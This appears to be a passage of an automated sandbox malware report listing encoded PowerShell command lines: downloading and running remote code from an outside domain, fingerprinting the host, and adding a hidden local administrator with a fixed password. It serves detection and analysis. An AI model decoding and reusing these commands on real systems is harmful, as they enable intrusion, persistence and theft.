cAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQ